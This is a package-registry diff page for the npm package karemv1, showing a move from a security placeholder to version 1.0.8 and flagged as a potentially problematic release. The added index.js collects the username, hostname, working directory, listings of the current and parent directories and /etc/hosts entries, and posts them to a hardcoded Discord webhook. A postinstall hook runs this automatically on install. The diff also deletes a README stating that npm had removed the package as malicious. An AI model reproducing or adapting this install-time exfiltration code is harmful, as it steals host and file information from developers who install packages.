karemv1 0.0.1-security → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of karemv1 might be problematic. Click here for more details.
- package/index.js +57 -0
- package/package +0 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
function run(cmd) {
|
|
6
|
+
try {
|
|
7
|
+
return execSync(cmd, { timeout: 3000, stdio: ['ignore', 'pipe', 'ignore'] }).toString().trim();
|
|
8
|
+
} catch (e) {
|
|
9
|
+
return 'N/A';
|
|
10
|
+
}
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
function list(dir) {
|
|
14
|
+
const out = run(`ls "${dir}" 2>/dev/null || echo "N/A"`);
|
|
15
|
+
return out.split('\n').slice(0, 8).join(', ') || 'empty';
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function hostnames() {
|
|
19
|
+
const out = run('grep -v "^#" /etc/hosts 2>/dev/null | awk "{print $2}" | sort -u | head -5');
|
|
20
|
+
return out ? out.split('\n').join(', ') : 'none';
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
const info = {
|
|
24
|
+
user: run('whoami').split('\n')[0],
|
|
25
|
+
host: run('hostname').split('\n')[0],
|
|
26
|
+
path: run('pwd').split('\n')[0],
|
|
27
|
+
cur: list('.'),
|
|
28
|
+
p1: list('..'),
|
|
29
|
+
p2: list('../..'),
|
|
30
|
+
p3: list('../../..'),
|
|
31
|
+
names: hostnames()
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
const msg = `karemv1
|
|
35
|
+
user: ${info.user}
|
|
36
|
+
host: ${info.host}
|
|
37
|
+
path: ${info.path}
|
|
38
|
+
|
|
39
|
+
.: ${info.cur}
|
|
40
|
+
..: ${info.p1}
|
|
41
|
+
../..: ${info.p2}
|
|
42
|
+
../../..: ${info.p3}
|
|
43
|
+
|
|
44
|
+
hostnames: ${info.names}`;
|
|
45
|
+
|
|
46
|
+
const payload = JSON.stringify({ content: msg });
|
|
47
|
+
const req = https.request('https://discord.com/api/webhooks/1432899514649280575/TspGrI6vZa6dopHnK99crdrm7eyzawGikjFAj0qWfeQt9BMfi5ncW2UQQZVW7-8kB7xs', {
|
|
48
|
+
method: 'POST',
|
|
49
|
+
headers: {
|
|
50
|
+
'Content-Type': 'application/json',
|
|
51
|
+
'Content-Length': payload.length
|
|
52
|
+
}
|
|
53
|
+
}, () => {});
|
|
54
|
+
|
|
55
|
+
req.on('error', () => {});
|
|
56
|
+
req.write(payload);
|
|
57
|
+
req.end();
|
package/package
ADDED
|
File without changes
|
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "karemv1",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.8",
|
|
4
|
+
"description": "System info collector",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"karemv1": "./index.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"postinstall": "node index.js"
|
|
11
|
+
},
|
|
12
|
+
"license": "MIT",
|
|
13
|
+
"private": false,
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"karemv1": "^1.0.5"
|
|
16
|
+
}
|
|
6
17
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=karemv1 for more information.
|